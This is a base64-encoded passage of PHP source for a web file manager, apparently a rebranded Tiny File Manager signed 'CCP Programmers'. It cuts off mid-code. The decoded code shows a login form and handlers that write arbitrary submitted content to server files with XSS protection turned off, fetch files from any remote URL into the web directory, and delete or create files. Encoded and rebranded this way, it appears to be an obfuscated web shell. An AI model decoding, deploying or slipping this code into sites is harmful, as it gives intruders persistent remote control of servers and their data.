ICAgICAgICAgICAgICAgICAgICAgICA8aHIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJmbV91c3IiPjw/cGhwIGVjaG8gbG5nKCdVc2VybmFtZScpOyA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgaWQ9ImZtX3VzciIgbmFtZT0iZm1fdXNyIiByZXF1aXJlZCBhdXRvZm9jdXM+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJmbV9wd2QiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpOyA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIGlkPSJmbV9wd2QiIG5hbWU9ImZtX3B3ZCIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmbV9zaG93X21lc3NhZ2UoKTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayBtdC00IiByb2xlPSJidXR0b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdMb2dpbicpOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyIHRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJ0ZXh0LW11dGVkIiBkYXRhLXZlcnNpb249Ijw/cGhwIGVjaG8gVkVSU0lPTjsgPz4iPkNDUCBQcm9ncmFtbWVyczwvYT4gJm1kYXNoOyZtZGFzaDsKICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9zZWN0aW9uPgoKICAgICAgICA8P3BocAogICAgICAgIGZtX3Nob3dfZm9vdGVyX2xvZ2luKCk7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKLy8gdXBkYXRlIHJvb3QgcGF0aAppZiAoJHVzZV9hdXRoICYmIGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pKSB7CiAgICAkcm9vdF9wYXRoID0gaXNzZXQoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSA/ICRkaXJlY3Rvcmllc191c2Vyc1skX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddXSA6ICRyb290X3BhdGg7Cn0KCi8vIGNsZWFuIGFuZCBjaGVjayAkcm9vdF9wYXRoCiRyb290X3BhdGggPSBydHJpbSgkcm9vdF9wYXRoLCAnXFwvJyk7CiRyb290X3BhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRyb290X3BhdGgpOwppZiAoIUBpc19kaXIoJHJvb3RfcGF0aCkpIHsKICAgIGVjaG8gIjxoMT5Sb290IHBhdGggXCJ7JHJvb3RfcGF0aH1cIiBub3QgZm91bmQhPC9oMT4iOwogICAgZXhpdDsKfQoKZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTsKZGVmaW5lZCgnRk1fUk9PVF9QQVRIJykgfHwgZGVmaW5lKCdGTV9ST09UX1BBVEgnLCAkcm9vdF9wYXRoKTsKZGVmaW5lZCgnRk1fTEFORycpIHx8IGRlZmluZSgnRk1fTEFORycsICRsYW5nKTsKZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTsKZGVmaW5lZCgnRk1fVVBMT0FEX0VYVEVOU0lPTicpIHx8IGRlZmluZSgnRk1fVVBMT0FEX0VYVEVOU0lPTicsICRhbGxvd2VkX3VwbG9hZF9leHRlbnNpb25zKTsKZGVmaW5lZCgnRk1fRVhDTFVERV9JVEVNUycpIHx8IGRlZmluZSgnRk1fRVhDTFVERV9JVEVNUycsICRleGNsdWRlX2l0ZW1zKTsKZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTsKZGVmaW5lKCdGTV9SRUFET05MWScsICR1c2VfYXV0aCAmJiAhZW1wdHkoJHJlYWRvbmx5X3VzZXJzKSAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiBpbl9hcnJheSgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddLCAkcmVhZG9ubHlfdXNlcnMpKTsKZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXCcpOwoKLy8gYWx3YXlzIHVzZSA/cD0KaWYgKCFpc3NldCgkX0dFVFsncCddKSAmJiBlbXB0eSgkX0ZJTEVTKSkgewogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7Cn0KCi8vIGdldCBwYXRoCiRwID0gaXNzZXQoJF9HRVRbJ3AnXSkgPyAkX0dFVFsncCddIDogKGlzc2V0KCRfUE9TVFsncCddKSA/ICRfUE9TVFsncCddIDogJycpOwoKLy8gY2xlYW4gcGF0aAokcCA9IGZtX2NsZWFuX3BhdGgoJHApOwoKLy8gZm9yIGFqYXggcmVxdWVzdCAtIHNhdmUKJGlucHV0ID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7CiRfUE9TVCA9IChzdHJwb3MoJGlucHV0LCAnYWpheCcpICE9IEZBTFNFICYmIHN0cnBvcygkaW5wdXQsICdzYXZlJykgIT0gRkFMU0UpID8ganNvbl9kZWNvZGUoJGlucHV0LCB0cnVlKSA6ICRfUE9TVDsKCi8vIGluc3RlYWQgZ2xvYmFscyB2YXJzCmRlZmluZSgnRk1fUEFUSCcsICRwKTsKZGVmaW5lKCdGTV9VU0VfQVVUSCcsICR1c2VfYXV0aCk7CmRlZmluZSgnRk1fRURJVF9GSUxFJywgJGVkaXRfZmlsZXMpOwpkZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7CmRlZmluZWQoJ0ZNX1VTRV9ISUdITElHSFRKUycpIHx8IGRlZmluZSgnRk1fVVNFX0hJR0hMSUdIVEpTJywgJHVzZV9oaWdobGlnaHRqcyk7CmRlZmluZWQoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJykgfHwgZGVmaW5lKCdGTV9ISUdITElHSFRKU19TVFlMRScsICRoaWdobGlnaHRqc19zdHlsZSk7CmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7Cgp1bnNldCgkcCwgJHVzZV9hdXRoLCAkaWNvbnZfaW5wdXRfZW5jb2RpbmcsICR1c2VfaGlnaGxpZ2h0anMsICRoaWdobGlnaHRqc19zdHlsZSk7CgovKioqKioqKioqKioqKioqKioqKioqKioqKioqIEFDVElPTlMgKioqKioqKioqKioqKioqKioqKioqKioqKioqLwoKLy8gQUpBWCBSZXF1ZXN0CmlmIChpc3NldCgkX1BPU1RbJ2FqYXgnXSkgJiYgIUZNX1JFQURPTkxZKSB7CgogICAgLy8gc2F2ZQogICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSAic2F2ZSIpIHsKICAgICAgICAvLyBnZXQgY3VycmVudCBwYXRoCiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgICAgICB9CiAgICAgICAgLy8gY2hlY2sgcGF0aAogICAgICAgIGlmICghaXNfZGlyKCRwYXRoKSkgewogICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTsKICAgICAgICB9CiAgICAgICAgJGZpbGUgPSAkX0dFVFsnZWRpdCddOwogICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7CiAgICAgICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkZmlsZSk7CiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgIGZtX3NldF9tc2coJ0ZpbGUgbm90IGZvdW5kJywgJ2Vycm9yJyk7CiAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpOwogICAgICAgIH0KICAgICAgICBoZWFkZXIoJ1gtWFNTLVByb3RlY3Rpb246MCcpOyAKICAgICAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsKICAgICAgICAKICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107CiAgICAgICAgJGZkID0gZm9wZW4oJGZpbGVfcGF0aCwgInciKTsKICAgICAgICAkd3JpdGVfcmVzdWx0cyA9IEBmd3JpdGUoJGZkLCAkd3JpdGVkYXRhKTsKICAgICAgICBmY2xvc2UoJGZkKTsKICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdHMgPT09IGZhbHNlKXsgCiAgICAgICAgICAgIGhlYWRlcigiSFRUUC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvciIpOwogICAgICAgICAgICBkaWUoIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIC8gT3duZXJzaGlwIik7CiAgICAgICAgfQogICAgICAgIGRpZSh0cnVlKTsKICAgIH0KCiAgICAvL3NlYXJjaCA6IGdldCBsaXN0IG9mIGZpbGVzIGZyb20gdGhlIGN1cnJlbnQgZm9sZGVyCiAgICBpZihpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ109PSJzZWFyY2giKSB7CiAgICAgICAgJGRpciA9IEZNX1JPT1RfUEFUSDsKICAgICAgICAkcmVzcG9uc2UgPSBzY2FuKGZtX2NsZWFuX3BhdGgoJF9QT1NUWydwYXRoJ10pLCAkX1BPU1RbJ2NvbnRlbnQnXSk7CiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOwogICAgICAgIGV4aXQoKTsKICAgIH0KICAgIAogICAgLy8gYmFja3VwIGZpbGVzCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJiYWNrdXAiICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHsKICAgICAgICAkZmlsZU5hbWUgPSAkX1BPU1RbJ2ZpbGUnXTsKICAgICAgICAkZnVsbFBhdGggPSBGTV9ST09UX1BBVEggLiAnLyc7CiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3BhdGgnXSkpIHsKICAgICAgICAgICAgJHJlbGF0aXZlRGlyUGF0aCA9IGZtX2NsZWFuX3BhdGgoJF9QT1NUWydwYXRoJ10pOwogICAgICAgICAgICAkZnVsbFBhdGggLj0gInskcmVsYXRpdmVEaXJQYXRofS8iOwogICAgICAgIH0KICAgICAgICAkZGF0ZSA9IGRhdGUoImRNeS1IaXMiKTsKICAgICAgICAkbmV3RmlsZU5hbWUgPSAieyRmaWxlTmFtZX0teyRkYXRlfS5iYWsiOwogICAgICAgICRmdWxseVF1YWxpZmllZEZpbGVOYW1lID0gJGZ1bGxQYXRoIC4gJGZpbGVOYW1lOwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCJGaWxlIHskZmlsZU5hbWV9IG5vdCBmb3VuZCIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7CiAgICAgICAgICAgICAgICBlY2hvICJCYWNrdXAgeyRuZXdGaWxlTmFtZX0gY3JlYXRlZCI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9Iik7CiAgICAgICAgICAgIH0KICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgZWNobyAkZS0+Z2V0TWVzc2FnZSgpOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBTYXZlIENvbmZpZwogICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSAic2V0dGluZ3MiKSB7CiAgICAgICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkcmVwb3J0X2Vycm9ycywgJHNob3dfaGlkZGVuX2ZpbGVzLCAkbGFuZ19saXN0LCAkaGlkZV9Db2xzLCAkY2FsY19mb2xkZXI7CiAgICAgICAgJG5ld0xuZyA9ICRfUE9TVFsnanMtbGFuZ3VhZ2UnXTsKICAgICAgICBmbV9nZXRfdHJhbnNsYXRpb25zKFtdKTsKICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJG5ld0xuZywgJGxhbmdfbGlzdCkpIHsKICAgICAgICAgICAgJG5ld0xuZyA9ICdlbic7CiAgICAgICAgfQoKICAgICAgICAkZXJwID0gaXNzZXQoJF9QT1NUWydqcy1lcnJvci1yZXBvcnQnXSkgJiYgJF9QT1NUWydqcy1lcnJvci1yZXBvcnQnXSA9PSAidHJ1ZSIgPyB0cnVlIDogZmFsc2U7CiAgICAgICAgJHNoZiA9IGlzc2V0KCRfUE9TVFsnanMtc2hvdy1oaWRkZW4nXSkgJiYgJF9QT1NUWydqcy1zaG93LWhpZGRlbiddID09ICJ0cnVlIiA/IHRydWUgOiBmYWxzZTsKICAgICAgICAkaGNvID0gaXNzZXQoJF9QT1NUWydqcy1oaWRlLWNvbHMnXSkgJiYgJF9QT1NUWydqcy1oaWRlLWNvbHMnXSA9PSAidHJ1ZSIgPyB0cnVlIDogZmFsc2U7CiAgICAgICAgJGNhZiA9IGlzc2V0KCRfUE9TVFsnanMtY2FsYy1mb2xkZXInXSkgJiYgJF9QT1NUWydqcy1jYWxjLWZvbGRlciddID09ICJ0cnVlIiA/IHRydWUgOiBmYWxzZTsKCiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ2xhbmcnXSA9ICRuZXdMbmc7CiAgICAgICAgICAgICRsYW5nID0gJG5ld0xuZzsKICAgICAgICB9CiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddICE9ICRlcnApIHsKICAgICAgICAgICAgJGNmZy0+ZGF0YVsnZXJyb3JfcmVwb3J0aW5nJ10gPSAkZXJwOwogICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7CiAgICAgICAgfQogICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHsKICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7CiAgICAgICAgICAgICRzaG93X2hpZGRlbl9maWxlcyA9ICRzaGY7CiAgICAgICAgfQogICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHsKICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7CiAgICAgICAgICAgICRzaG93X2hpZGRlbl9maWxlcyA9ICRzaGY7CiAgICAgICAgfQogICAgICAgIGlmICgkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSAhPSAkaGNvKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ2hpZGVfQ29scyddID0gJGhjbzsKICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287CiAgICAgICAgfQogICAgICAgIGlmICgkY2ZnLT5kYXRhWydjYWxjX2ZvbGRlciddICE9ICRjYWYpIHsKICAgICAgICAgICAgJGNmZy0+ZGF0YVsnY2FsY19mb2xkZXInXSA9ICRjYWY7CiAgICAgICAgICAgICRjYWxjX2ZvbGRlciA9ICRjYWY7CiAgICAgICAgfQogICAgICAgICRjZmctPnNhdmUoKTsKICAgICAgICBlY2hvIHRydWU7CiAgICB9CgogICAgLy8gbmV3IHBhc3N3b3JkIGhhc2gKICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gInB3ZGhhc2giKSB7CiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJzsKICAgICAgICBlY2hvICRyZXM7CiAgICB9CgogICAgLy91cGxvYWQgdXNpbmcgdXJsCiAgICBpZihpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gInVwbG9hZCIgJiYgIWVtcHR5KCRfUkVRVUVTVFsidXBsb2FkdXJsIl0pKSB7CiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgICAgICB9CgogICAgICAgICR1cmwgPSAhZW1wdHkoJF9SRVFVRVNUWyJ1cGxvYWR1cmwiXSkgJiYgcHJlZ19tYXRjaCgifF5odHRwKHMpPzovLy4rJHwiLCBzdHJpcHNsYXNoZXMoJF9SRVFVRVNUWyJ1cGxvYWR1cmwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsidXBsb2FkdXJsIl0pIDogbnVsbDsKICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTsKICAgICAgICAkdGVtcF9maWxlID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICJ1cGxvYWQtIik7CiAgICAgICAgJGZpbGVpbmZvID0gbmV3IHN0ZENsYXNzKCk7CiAgICAgICAgJGZpbGVpbmZvLT5uYW1lID0gdHJpbShiYXNlbmFtZSgkdXJsKSwgIi5ceDAwLi5ceDIwIik7CgogICAgICAgICRhbGxvd2VkID0gKEZNX1VQTE9BRF9FWFRFTlNJT04pID8gZXhwbG9kZSgnLCcsIEZNX1VQTE9BRF9FWFRFTlNJT04pIDogZmFsc2U7CiAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVpbmZvLT5uYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlOwogICAgICAgIAogICAgICAgIGZ1bmN0aW9uIGV2ZW50X2NhbGxiYWNrICgkbWVzc2FnZSkgewogICAgICAgICAgICBnbG9iYWwgJGNhbGxiYWNrOwogICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRtZXNzYWdlKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGdldF9maWxlX3BhdGggKCkgewogICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTsKICAgICAgICAgICAgcmV0dXJuICRwYXRoLiIvIi5iYXNlbmFtZSgkZmlsZWluZm8tPm5hbWUpOwogICAgICAgIH0KCiAgICAgICAgJGVyciA9IGZhbHNlOwoKICAgICAgICBpZighJGlzRmlsZUFsbG93ZWQpIHsKICAgICAgICAgICAgJGVyciA9IGFycmF5KCJtZXNzYWdlIiA9PiAiRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQiKTsKICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoImZhaWwiID0+ICRlcnIpKTsKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KCiAgICAgICAgaWYgKCEkdXJsKSB7CiAgICAgICAgICAgICRzdWNjZXNzID0gZmFsc2U7CiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHsKICAgICAgICAgICAgQCRmcCA9IGZvcGVuKCR0ZW1wX2ZpbGUsICJ3Iik7CiAgICAgICAgICAgIEAkY2ggPSBjdXJsX2luaXQoJHVybCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9OT1BST0dSRVNTLCBmYWxzZSApOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKICAgICAgICAgICAgQCRzdWNjZXNzID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgICRjdXJsX2luZm8gPSBjdXJsX2dldGluZm8oJGNoKTsKICAgICAgICAgICAgaWYgKCEkc3VjY2VzcykgewogICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KCJtZXNzYWdlIiA9PiBjdXJsX2Vycm9yKCRjaCkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICAkZmlsZWluZm8tPnNpemUgPSAkY3VybF9pbmZvWyJzaXplX2Rvd25sb2FkIl07CiAgICAgICAgICAgICRmaWxlaW5mby0+dHlwZSA9ICRjdXJsX2luZm9bImNvbnRlbnRfdHlwZSJdOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoKTsKICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTsKICAgICAgICAgICAgaWYgKCEkc3VjY2VzcykgewogICAgICAgICAgICAgICAgJGVyciA9IGVycm9yX2dldF9sYXN0KCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkc3VjY2VzcykgewogICAgICAgICAgICAkc3VjY2VzcyA9IHJlbmFtZSgkdGVtcF9maWxlLCBnZXRfZmlsZV9wYXRoKCkpOwogICAgICAgIH0KCiAgICAgICAgaWYgKCRzdWNjZXNzKSB7CiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KCJkb25lIiA9PiAkZmlsZWluZm8pKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB1bmxpbmsoJHRlbXBfZmlsZSk7CiAgICAgICAgICAgIGlmICghJGVycikgewogICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KCJtZXNzYWdlIiA9PiAiSW52YWxpZCB1cmwgcGFyYW1ldGVyIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoImZhaWwiID0+ICRlcnIpKTsKICAgICAgICB9CiAgICB9CgogICAgZXhpdCgpOwp9CgovLyBEZWxldGUgZmlsZSAvIGZvbGRlcgppZiAoaXNzZXQoJF9HRVRbJ2RlbCddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgICRkZWwgPSBzdHJfcmVwbGFjZSggJy8nLCAnJywgZm1fY2xlYW5fcGF0aCggJF9HRVRbJ2RlbCddICkgKTsKICAgIGlmICgkZGVsICE9ICcnICYmICRkZWwgIT0gJy4uJyAmJiAkZGVsICE9ICcuJykgewogICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICAgICAgfQogICAgICAgICRpc19kaXIgPSBpc19kaXIoJHBhdGggLiAnLycgLiAkZGVsKTsKICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICcvJyAuICRkZWwpKSB7CiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gJ0ZvbGRlciA8Yj4lczwvYj4gZGVsZXRlZCcgOiAnRmlsZSA8Yj4lczwvYj4gZGVsZXRlZCc7CiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbXNnID0gJGlzX2RpciA/ICdGb2xkZXIgPGI+JXM8L2I+IG5vdCBkZWxldGVkJyA6ICdGaWxlIDxiPiVzPC9iPiBub3QgZGVsZXRlZCc7CiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGZtX3NldF9tc2coJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZScsICdlcnJvcicpOwogICAgfQogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7Cn0KCi8vIENyZWF0ZSBmb2xkZXIKaWYgKGlzc2V0KCRfR0VUWyduZXcnXSkgJiYgaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAkdHlwZSA9ICRfR0VUWyd0eXBlJ107CiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoICcvJywgJycsIGZtX2NsZWFuX3BhdGgoIHN0cmlwX3RhZ3MoICRfR0VUWyduZXcnXSApICkgKTsKICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRuZXcgIT0gJycgJiYgJG5ldyAhPSAnLi4nICYmICRuZXcgIT0gJy4nKSB7CiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgICAgICB9CiAgICAgICAgaWYgKCRfR0VUWyd0eXBlJ10gPT0gImZpbGUiKSB7CiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGggLiAnLycgLiAkbmV3KSkgewogICAgICAgICAgICAgICAgaWYoZm1faXNfdmFsaWRfZXh0KCRuZXcpKSB7CiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJy8nIC4gJG5ldywgJ3cnKSBvciBkaWUoJ0Nhbm5vdCBvcGVuIGZpbGU6ICAnIC4gJG5l